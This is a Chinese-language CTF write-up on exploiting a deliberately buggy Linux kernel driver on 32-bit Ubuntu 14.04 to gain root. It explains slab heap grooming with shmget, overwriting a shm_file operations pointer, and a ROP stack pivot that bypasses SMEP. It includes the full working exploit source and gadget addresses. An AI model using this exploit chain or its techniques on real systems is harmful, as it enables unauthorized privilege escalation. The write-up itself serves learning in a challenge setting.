之前只接觸過應用層的漏洞利用, 這次第一次接觸到內核層次的,小結一下。
這次接觸到的,是吾愛破解挑戰賽里的一個題,給了一個有問題的驅動程序,要求在ubuntu 14.04 32位系統環境下提權。驅動實現了write函數,但是write可以寫0x5a0000000個字節。然后還實現了一個ioctl,這里有任意地址寫的問題(但是這個分析里沒用到)。還有一個read函數,這個可以讀取堆上的數據。驅動的代碼可以在這里下載到:http://www.52pojie.cn/thread-480792-1-1.html
#!cpp
static ssize_t mem_write(struct file *filp, const char __user *buf, size_t size, loff_t *ppos)
{
unsigned long p = *ppos;
unsigned int count = size;
int ret = 0;
struct mem_dev *dev = filp->private_data;
if((dev->size >> 24 & 0xff) != 0x5a)
//dev->size == 0x5aXXXXXX
return -EFAULT;
if (p > dev->size)
return -ENOMEM;
if (count > dev->size - p)
count = dev->size - p;
if (copy_from_user((void *)(dev->data + p), buf, count)) {
ret = -EFAULT;
} else {
*ppos += count;
ret = count;
}
return ret;
}
static long mem_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
struct mem_init data;
if(!arg)
return -EINVAL;
if(copy_from_user(&data, (void *)arg, sizeof(data))) {
return -EFAULT;
}
if(data.len <= 0 || data.len >= 0x1000000)
return -EINVAL;
if(data.idx < 0)
return -EINVAL;
switch(cmd) {
case 0:
mem_devp[data.idx].size = 0x5a000000 | (data.len & 0xffffff);
mem_devp[data.idx].data = kmalloc(data.len, GFP_KERNEL);
printk(KERN_DEBUG "heap:%p\n",mem_devp[data.idx].data);
if(!mem_devp[data.idx].data) {
return -ENOMEM;
}
memset(mem_devp[data.idx].data, 0, data.len);
break;
default:
return -EINVAL;
}
return 0;
}
static ssize_t mem_read(struct file *filp, char __user *buf, size_t size, loff_t *ppos)
{
unsigned long p = *ppos;
unsigned int count = size;
int ret = 0;
struct mem_dev *dev = filp->private_data;
if((dev->size >> 24 & 0xff) != 0x5a)
return -EFAULT;
if (p > dev->size)
return -ENOMEM;
if (count > dev->size - p)
count = dev->size - p;
if (copy_to_user(buf, (void*)(dev->data + p), count)) {
ret = -EFAULT;
} else {
*ppos += count;
ret = count;
}
return ret;
}
write里的dev->data是通過調用ioctl后kmalloc出來的,kmalloc的size可以自行指定。于是通過這個write,可以寫內核堆,甚至寫到內核棧里。我用的方法是覆蓋內核某個堆結構,改掉其上的某個指針,最好是某個函數指針,或者函數表指針。具體的是shmid_kernel結構的file指針,里面存有shm_ops,這是shm的函數表,里面有shm_mmap,而這個函數可以在用戶態通過shmat調用到。shmid_kernel這個結構體,則會通過在系統調用shmget時,被kmalloc。在我操作的機器上(32位):
shmid_kernel分配時的大小是64+92 = 156:
#!cpp
struct shmid_kernel //結構體大小為92bytes
{
struct kern_ipc_perm shm_perm;
struct file *shm_file;
unsigned long shm_nattch;
unsigned long shm_segsz;
time_t shm_atim;
time_t shm_dtim;
time_t shm_ctim;
pid_t shm_cprid;
pid_t shm_lprid;
struct user_struct *mlock_user;
struct task_struct *shm_creator;
struct list_head shm_clist;
};
要保證能覆蓋到特定的結構,首先是要保證,申請到的內存是相鄰的。內核里kmalloc是slab的分配機制。一次至少會分配一個頁面,然后把這個頁面分為很多個連續的塊,這些塊的信息,可以通過cat /proc/slabinfo看到:
分配的時候,是向上對齊的。比如,如果kmalloc的size滿足區間(128,192],那么就會給它分配一個192大小的塊。如果有空閑的塊,則把空閑的塊分配出去。只有當所有分配的slab里的塊,都被占用了,才會去分配新的slab(里面有很多相鄰內存的大小相同的塊)。比如說需要一個192的塊,而已經分配的192的slab里沒有空閑的,就會分配一個頁面的內存,里面分成4096/192 = 21個192bytes的塊,然后拿出第一塊分配出去,再申請,則拿出第二塊,以此類推。
//slab的圖
所以,如果我們想要得到兩個相鄰的塊。有這么幾點要求:
所以,在這里來說,我們想要通過write,來覆蓋掉下一個堆塊,即我們的目標堆塊shmid_kernel (占用一個192的slab塊),要這么做:
馬上調用shmget(IPC_PRIVATE,1024,IPC_CREAT | 0666)來申請一塊192的空間。這時,這個塊有20/21的概率,我們最后一次ioctl得到的塊,是相鄰的。
#!cpp
arg.idx = 0;
arg.len = 192;
for(i=0;i<1000;i++)
ioctl(fd,0,&arg);
shmid = shmget(IPC_PRIVATE,1024,IPC_CREAT | 0666);
arg.idx = 1;
ioctl(fd,0,&arg);
這之后再用write來進行覆蓋,就能達到我們的目的。
為了確保我們的堆排布好了,我給這個有漏洞的驅動,patch了一行代碼,使得能夠把每次kmalloc的地址打印出來:
而且在exp里,調用shmget之后,再一次調用ioctl來kmalloc一個192的塊。那么得到的dmesg:
最后兩次 ioctl,中間相隔了2個0xC0的大小,其中一個應該是shmid_kernel。那么還有一個是什么?通過調用驅動的read,讀取這段堆上的內存,我發現:還有一個是shmid_kernel結構的shm_file,排布是這樣的:
addr | type |
---|---|
0xc04e43c0 | dev[0]->data |
0xc04e4480 | shmid_kernel |
0xc04e4540 | shmid_file |
0xc04e4600 | dev1->data |
最開始的計劃,是覆蓋shmid_kernel結構的shmid_file指針(shmid_kernel+0x6c),但是現在發現可以直接覆蓋shmid_file的fop(shmid_file+0x14),這是指向其file_operations的指針。我們只要把這個指針覆蓋,就能偽造file_operations,于是偽造一個file_operations,在偏移0x40處,指定0x41414141。其余的內容,由于我們可以通過read讀取堆內容,所以write的時候,直接復制過去,改別的。 但是如果沒有read,我們也可以自己偽造一個shmid_kernel,當然肯定會麻煩一些。因為有一些檢查是要繞過的。
#!cpp
read(fd[2],readbuf,oversize); //由于llseek的限制,fd [0,1,2]做一個區分
memcpy(buf,readbuf,oversize);
map = mmap((void *)0x5a000000,0x1000,PROT_WRITE|PROT_READ | PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
memcpy(map,41,0x100);
struct file **shm_file;
shm_file = (struct file **)(buf+0x194);
*shm_file = (void *)0x5a000000;
//fack_fop == 0x5a000000;
//fack_fop_mmap == 0x41414141;
write(fd[0],buf,oversize);
ret = shmat(shmid,NULL,0);
那么,調用shmat的時候,最終會調用:
shmid_kernel->shm_file->fop->mmap(...)。這個時候,我們就能得到內核的控制流。
得到控制流后,最開始我是這么想的:
將控制流轉移到用戶態的代碼里來,進行提權,代碼可以是這樣子:
#!cpp
int __attribute__((regparm(3)))
kernel_code(struct file *file, void *vma)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
但是,這樣只能針對沒有開啟SMEP(Supervisor Mode Execution Protection Enable)的情況。
什么是SMEP?簡單來說,就是禁止內核執行用戶控件的代碼。它存在于CR4寄存器的第20 bit。
在安卓上,也叫PXN。因為傳統的內核提權漏洞利用,得到控制流之后,直接跳轉到用戶空間執行提權代碼,實在是太輕松,所以就加了這么一個緩解機制。
由于系統開了SMEP,這樣就只能在內核找ROP來拼湊提權代碼了。
構造ROP來調用
#!cpp
commit_creds(prepare_kernel_cred(0);
通過cat /proc/kallsyms得到符號表之后,可以定位prepare_kernel_cred和commit_creds的地址:
只有prepare_kernel_cred(0)需要一個參數,傳進去。看了下prepare_kernel_cred函數的匯編,這個參數用eax傳遞。所以需要一條
pop eax
ret
或者是
xor eax,eax
ret
prepare_kernel_cred的返回值,會直接傳給commit_creds,并不用在rop鏈里構造。那么初步的應該是這樣子:
instruction | addr |
---|---|
pop eax;ret; | 0xc1431272 |
perpare_kernel_creds; | 0xc1082e20 |
commit_cred; | 0xc1082b60 |
問題來了:
rop鏈,首先要寫到棧里面去,問題是如何寫。
最后獲得控制流之前,eax 是內核堆上的地址,是shmid_kerneld的shm_file,里面的內容我們可以控制。ecx是偽造的fop表地址,我們可以完全控制。不好往棧里頭寫數據,不妨把棧給移植到能控制的地方來。
于是我第一次找的 xchg ecx,esp這樣的指令。但是一執行,系統就崩了。具體原因,本人猜測應該是內核棧esp不能指向用戶空間。具體什么原因,也沒深究。
所以第二次,我找的xchg eax,esp;ret 0x100這樣的指令。因為eax是shmid_file,還在內核空間,而其后面的數據都可以通過write控制,也就相當于能控制棧。還不用改寫shmid_file,只用在shmid_file頭4個字節寫上pop eax;ret;的地址,xchg之后的ret能順利執行就OK了。
#!cpp
memcpy(buf+0x180,rop,4);
//rop[0] = 0xc1431272 ;
//pop eax
//ret
最后一個問題,內核態如何返回用戶態。
因為我們移植了內核棧,而內核態返回用戶態的時候,需要從內核棧里頭,彈出cs,eip,eflag,ss,esp等信息。當然,我們可以自己構造虛假的。但是內核棧里頭有很多結構體,特別是提取時候要用到的task結構體,就在內核棧開始的地方。我沒有試過構造虛假的內核棧,因為感覺太繁瑣,而且也不知道可不可行。
于是我采取的是另外一種思路:
把移植過來的棧,又移植回去。
所以,我需要一個寄存器,來保存被移植前的esp。而prepare_kernel_cred() 和 commit_creds()。會對esi,edi,ebx三個寄存器進行保護:
我選擇其中的esi來保存原始內核棧esp。那么rop鏈就變成了這樣子:
instruction | addr | |
---|---|---|
xchg eax,esp;ret | 0xc1020eb1 | 覆蓋到shm_mmap的指針 |
xchg eax,esi;ret | 0xc1071395 | 覆蓋shm_file的前四個字節 |
pop eax;ret; | 0xc1431272 | fack_stask |
fack_stask | ||
perpare_kernel_creds; | 0xc1082e20 | fack_stask |
commit_cred; | 0xc1082b60 | fack_stask |
xchg eax,esi;ret | 0xc1071395 | fack_stask |
xchg eax,esp;ret | 0xc1020eb1 | fack_stask |
最后,我們再用戶態,調用:
#!cpp
setresuid(0, 0, 0);
setresgid(0, 0, 0);
execl("/bin/bash","/bin/bash",NULL);
整個提權利用,就完成了。
有很多的內核漏洞文章,講了很多的內核漏洞利用技術:
修改ptmx->fop,修改addr_limit,修改task結構,修改中斷描述符,將SMEP位反位等等,都博大精深。學習的路還很長很長。下面是這次提權的代碼:
#!cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <limits.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/mman.h>
#include <sys/stat.h>
#define oversize 0x400
struct mem_init {
unsigned int idx;
unsigned int len;
};
int prepare_kernel_creds = 0xc1082e20;
int commit_creds = 0xc1082b60;
int main(){
int fd[3],ret,i;
int shmid;
int *map;
void *buf,*readbuf;
struct mem_init arg;
fd[0] = open("/dev/memdev0",O_RDWR);
fd[1] = open("/dev/memdev1",O_RDWR);
fd[2] = open("/dev/memdev2",O_RDWR);
for(i=0;i<3;i++)
if(fd[i] < 0){
printf("[-]open driver failed!\n");
return 0;
}
printf("[+]open driver success\n");
//prepare heap
arg.idx = 0;
arg.len = 92+0x40;
for(i=0;i<1000;i++){
ioctl(fd[0],0,&arg);
}
arg.idx = 1;
ioctl(fd[1],0,&arg);
arg.idx = 2;
ioctl(fd[2],0,&arg);
buf = malloc(oversize);
readbuf = malloc(oversize);
shmid = shmget(IPC_PRIVATE, 1024, IPC_CREAT | 0666);
printf("%d\n",shmid);
arg.idx = 3;
ioctl(fd[0],0,&arg);
printf("[+] heap prepare OK!\n");
read(fd[2],readbuf,oversize); //read heap data
memcpy(buf,readbuf,oversize);
read(fd[0],readbuf,192*2); //set llseek point
map = mmap((void *)0x5a000000,0x1000,PROT_WRITE|PROT_READ | PROT_EXEC,
MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
int **shm_file;
shm_file = (int **)(buf+0x194); //fack fop
*shm_file = (void *)0x5a000000;
int rop[11];
rop[0] = 0xc1071395; //xchg eax,esi;ret
rop[1] = 0xc1431272; //pop eax;ret
rop[2] = 0; //eax
rop[3] = prepare_kernel_creds;
rop[4] = commit_creds;
rop[5] = 0xc1071395; //xchg eax,esi;ret
rop[6] = 0xc1020eb1; //xchg eax,esp;ret
rop[7] = 0;
rop[8] = 0;
rop[9] = 0;
rop[10] = 0xc1380373; //xchg eax,esp;ret 0x100
// xchg eax,esp;ret
// xchg eax,esi;ret ;
// pop eax;ret; 0xc1431272
// perpare_kernel_creds
// commit_cred
// xchg eax,esi;ret
// xchg eax,esp;ret
memcpy(map,rop,4*30); //map is fack fop
memcpy(buf+0x180,rop,4); //after xchg eax,esp . ret
memcpy(buf+0x280,rop,4*30);//fack stack
write(fd[0],buf,oversize);
printf("[+] heap write done\n");
printf("[+] read to triggle shellcode\n");
ret = (int)shmat(shmid,NULL,0); //triggle
if(ret!=0)
printf("[+] OK,ready to get root!\n press any key\n");
getchar();
setresuid(0, 0, 0);
setresgid(0, 0, 0);
execl("/bin/bash","/bin/bash",NULL);
return 0;
}